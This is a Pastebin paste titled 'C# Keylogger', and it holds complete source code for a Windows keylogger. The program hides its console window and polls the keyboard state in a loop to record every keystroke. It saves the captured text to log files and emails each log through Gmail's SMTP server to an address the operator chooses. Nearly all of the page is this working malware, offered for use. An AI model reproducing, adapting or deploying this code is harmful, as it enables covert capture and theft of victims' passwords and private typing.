SHARE
TWEET

C# Keylogger

Tor Aug 13th, 2016 7,109 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2.  
  3. using System.Collections.Generic;
  4.  
  5. using System.Linq;
  6.  
  7. using System.Text;
  8.  
  9.  
  10.  
  11. namespace winklog
  12.  
  13. {
  14.  
  15. using System;
  16.  
  17. using System.IO;
  18.  
  19. using System.Net;
  20.  
  21. using System.Net.Mail;
  22.  
  23. using System.Runtime.InteropServices;
  24.  
  25. using System.Text;
  26.  
  27. using System.Threading;
  28.  
  29.  
  30.  
  31. internal class winklog
  32.  
  33. {
  34.  
  35. public winklog() { }
  36.  
  37.  
  38.  
  39. [DllImport("user32.dll", SetLastError = false)]
  40.  
  41. private static extern short GetAsyncKeyState(int vKey);
  42.  
  43. [DllImport("user32.dll", SetLastError = false)]
  44.  
  45. public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
  46.  
  47. [DllImport("user32.dll", SetLastError = false)]
  48.  
  49. private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  50.  
  51.  
  52.  
  53. static void Main(string[] args)
  54.  
  55. {
  56.  
  57. IntPtr intPtr;
  58.  
  59. string str;
  60.  
  61. int i;
  62.  
  63. bool bl;
  64.  
  65. //Email parameters: just as a note, it is pre-setup to work with Gmail. To edit, look up your mail host's information and edit here
  66.  
  67. string host = "smtp.gmail.com", userName, pswd= "", fromAddress= "", toAddress= "", body, subject = string.Concat("New Log from ", Environment.MachineName), fileName;
  68.  
  69. int port = 587;
  70.  
  71. bool sslEnabled = true;
  72.  
  73.  
  74.  
  75. if (args.Length != 4)
  76.  
  77. {
  78.  
  79. Console.WriteLine("Username: ");
  80.  
  81. userName = Console.ReadLine();
  82.  
  83. if (userName == "default")
  84.  
  85. {
  86.  
  87. //fill in from file
  88.  
  89. }
  90.  
  91. else
  92.  
  93. {
  94.  
  95. Console.WriteLine("From: ");
  96.  
  97. fromAddress = Console.ReadLine();
  98.  
  99. Console.WriteLine("To: ");
  100.  
  101. toAddress = Console.ReadLine();
  102.  
  103. pswd = Returnpassword();
  104.  
  105. }
  106.  
  107. }
  108.  
  109. else
  110.  
  111. {
  112.  
  113. userName = args[0].ToString();
  114.  
  115. fromAddress = args[1].ToString();
  116.  
  117. toAddress = args[2].ToString();
  118.  
  119. pswd = args[3].ToString();
  120.  
  121. }
  122.  
  123.  
  124.  
  125. intPtr = winklog.FindWindow(null, Console.Title);
  126.  
  127. bl = intPtr == IntPtr.Zero;
  128.  
  129. if (!bl)
  130.  
  131. {
  132.  
  133. winklog.ShowWindow(intPtr, 0);
  134.  
  135. }
  136.  
  137.  
  138.  
  139. str = "";
  140.  
  141. while (true)
  142.  
  143. {
  144.  
  145. while ((str.Length < 250))
  146.  
  147. {
  148.  
  149. i = 1;
  150.  
  151. while ((i < 255))
  152.  
  153. {
  154.  
  155. bl = winklog.GetAsyncKeyState(i) == 0;
  156.  
  157. if (!bl)
  158.  
  159. {
  160.  
  161. str = string.Concat(str, checkExceptions(i));
  162.  
  163. Console.WriteLine(str);
  164.  
  165. Thread.Sleep(115);
  166.  
  167. }
  168.  
  169. i++;
  170.  
  171. }
  172.  
  173. }
  174.  
  175. DateTime dtm = DateTime.Now;
  176.  
  177. string str1 = DateTime.Now.ToString();
  178.  
  179. str1 = str1.Replace(':', '_');
  180.  
  181. str1 = str1.Replace('/', '_');
  182.  
  183. fileName = string.Concat(Environment.CurrentDirectory, "\\Log_", str1, ".txt");
  184.  
  185. FileStream fileStream = new FileStream(fileName, FileMode.CreateNew, FileAccess.Write);
  186.  
  187. StreamWriter streamWriter = new StreamWriter(fileStream);
  188.  
  189. streamWriter.Write(str);
  190.  
  191. streamWriter.Close();
  192.  
  193. fileStream.Close();
  194.  
  195. DateTime dtm1 = DateTime.Now;
  196.  
  197. winklog.SendMail(host, port, userName, pswd, fromAddress, toAddress, body = string.Concat("Key log for ", DateTime.Now.ToString()), subject, sslEnabled, fileName);
  198.  
  199. str = "";
  200.  
  201. }
  202.  
  203. }
  204.  
  205.  
  206.  
  207. public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)
  208.  
  209. {
  210.  
  211. MailMessage mailMessage;
  212.  
  213. SmtpClient smtpClient;
  214.  
  215. mailMessage = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));
  216.  
  217. mailMessage.Subject = subject;
  218.  
  219. mailMessage.SubjectEncoding = Encoding.UTF8;
  220.  
  221. mailMessage.Body = body;
  222.  
  223. mailMessage.BodyEncoding = Encoding.UTF8;
  224.  
  225. mailMessage.IsBodyHtml = false;
  226.  
  227. mailMessage.Attachments.Add(new Attachment(fileName));
  228.  
  229. smtpClient = new SmtpClient(host, port);
  230.  
  231. smtpClient.Credentials = new NetworkCredential(userName, pswd);
  232.  
  233. smtpClient.EnableSsl = sslEnabled;
  234.  
  235. try
  236.  
  237. {
  238.  
  239. smtpClient.Send(mailMessage);
  240.  
  241. Console.WriteLine("Your message was sent successfully.");
  242.  
  243. }
  244.  
  245. catch (SmtpException smtpException1)
  246.  
  247. {
  248.  
  249. Console.WriteLine("There was an error sending your message. {0}", smtpException1.Message);
  250.  
  251. }
  252.  
  253. }
  254.  
  255.  
  256.  
  257. public static string Returnpassword()
  258.  
  259. {
  260.  
  261. Console.WriteLine("Password: ");
  262.  
  263. string password = "";
  264.  
  265. ConsoleKeyInfo info = Console.ReadKey(true);
  266.  
  267. while (info.Key != ConsoleKey.Enter)
  268.  
  269. {
  270.  
  271. if (info.Key != ConsoleKey.Backspace)
  272.  
  273. {
  274.  
  275. password += info.KeyChar;
  276.  
  277. info = Console.ReadKey(true);
  278.  
  279. }
  280.  
  281. else if (info.Key == ConsoleKey.Backspace)
  282.  
  283. {
  284.  
  285. if (!string.IsNullOrEmpty(password))
  286.  
  287. {
  288.  
  289. password = password.Substring
  290.  
  291. (0, password.Length - 1);
  292.  
  293. }
  294.  
  295. info = Console.ReadKey(true);
  296.  
  297. }
  298.  
  299. }
  300.  
  301. for (int i = 0; i < password.Length; i++)
  302.  
  303. Console.Write("*");
  304.  
  305. return password;
  306.  
  307. }
  308.  
  309.  
  310.  
  311. public static string checkExceptions(int i)
  312.  
  313. {
  314.  
  315. switch (i)
  316.  
  317. {
  318.  
  319. case 1:
  320.  
  321. return "";
  322.  
  323.  
  324.  
  325. case 2:
  326.  
  327. return "";
  328.  
  329.  
  330.  
  331. case 8:
  332.  
  333. return "";
  334.  
  335.  
  336.  
  337. case 9:
  338.  
  339. return "";
  340.  
  341.  
  342.  
  343. case 13:
  344.  
  345. return "";
  346.  
  347.  
  348.  
  349. case 0x10:
  350.  
  351. return "";
  352.  
  353.  
  354.  
  355. case 0x11:
  356.  
  357. return "";
  358.  
  359.  
  360.  
  361. case 0x12:
  362.  
  363. return "";
  364.  
  365.  
  366.  
  367. case 20:
  368.  
  369. return "";
  370.  
  371.  
  372.  
  373. case 0x21:
  374.  
  375. return "";
  376.  
  377.  
  378.  
  379. case 0x22:
  380.  
  381. return "";
  382.  
  383.  
  384.  
  385. case 0x23:
  386.  
  387. return "";
  388.  
  389.  
  390.  
  391. case 0x24:
  392.  
  393. return "";
  394.  
  395.  
  396.  
  397. case 0x25:
  398.  
  399. return "";
  400.  
  401.  
  402.  
  403. case 0x26:
  404.  
  405. return "";
  406.  
  407.  
  408.  
  409. case 0x27:
  410.  
  411. return "";
  412.  
  413.  
  414.  
  415. case 40:
  416.  
  417. return "";
  418.  
  419.  
  420.  
  421. case 0x2c:
  422.  
  423. return "";
  424.  
  425.  
  426.  
  427. case 0x2d:
  428.  
  429. return "";
  430.  
  431.  
  432.  
  433. case 0x5b:
  434.  
  435. return "";
  436.  
  437.  
  438.  
  439. case 0x5d:
  440.  
  441. return "
  442.  
  443.     ";
  444.  
  445.    
  446.  
  447.     case 0x70:
  448.  
  449.     return "";
  450.  
  451.    
  452.  
  453.     case 0x71:
  454.  
  455.     return "";
  456.  
  457.    
  458.  
  459.     case 0x72:
  460.  
  461.     return "";
  462.  
  463.    
  464.  
  465.     case 0x73:
  466.  
  467.     return "";
  468.  
  469.    
  470.  
  471.     case 0x74:
  472.  
  473.     return "";
  474.  
  475.    
  476.  
  477.     case 0x75:
  478.  
  479.     return "";
  480.  
  481.    
  482.  
  483.     case 0x76:
  484.  
  485.     return "";
  486.  
  487.    
  488.  
  489.     case 0x77:
  490.  
  491.     return "";
  492.  
  493.    
  494.  
  495.     case 120:
  496.  
  497.     return "";
  498.  
  499.    
  500.  
  501.     case 0x79:
  502.  
  503.     return "";
  504.  
  505.    
  506.  
  507.     case 0x7a:
  508.  
  509.     return "";
  510.  
  511.    
  512.  
  513.     case 0x7b:
  514.  
  515.     return "";
  516.  
  517.    
  518.  
  519.     case 0x90:
  520.  
  521.     return "";
  522.  
  523.    
  524.  
  525.     case 160:
  526.  
  527.     return "";
  528.  
  529.    
  530.  
  531.     case 0xa1:
  532.  
  533.     return "";
  534.  
  535.    
  536.  
  537.     case 0xa2:
  538.  
  539.     return "";
  540.  
  541.    
  542.  
  543.     case 0xa3:
  544.  
  545.     return "";
  546.  
  547.    
  548.  
  549.     case 0xa4:
  550.  
  551.     return "";
  552.  
  553.    
  554.  
  555.     case 0xa5:
  556.  
  557.     return "";
  558.  
  559.    
  560.  
  561.     case 0xba:
  562.  
  563.     return ";";
  564.  
  565.    
  566.  
  567.     case 0xbb:
  568.  
  569.     return "=";
  570.  
  571.    
  572.  
  573.     case 0xbc:
  574.  
  575.     return ",";
  576.  
  577.    
  578.  
  579.     case 0xbd:
  580.  
  581.     return "-";
  582.  
  583.    
  584.  
  585.     case 190:
  586.  
  587.     return ".";
  588.  
  589.    
  590.  
  591.     case 0xbf:
  592.  
  593.     return "/";
  594.  
  595.    
  596.  
  597.     case 0xdb:
  598.  
  599.     return "[";
  600.  
  601.    
  602.  
  603.     case 220:
  604.  
  605.     return @"\";
  606.  
  607.    
  608.  
  609.     case 0xdd:
  610.  
  611.     return "]";
  612.  
  613.    
  614.  
  615.     case 0xde:
  616.  
  617.     return "'";
  618.  
  619.     }
  620.  
  621.     char ch = (char)i;
  622.  
  623.     return ch.ToString();
  624.  
  625.     }
  626.  
  627.    
  628.  
  629.    
  630.  
  631.    
  632.  
  633.    
  634.  
  635.    
  636.  
  637.    
  638.  
  639.     }
  640.  
  641.     }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top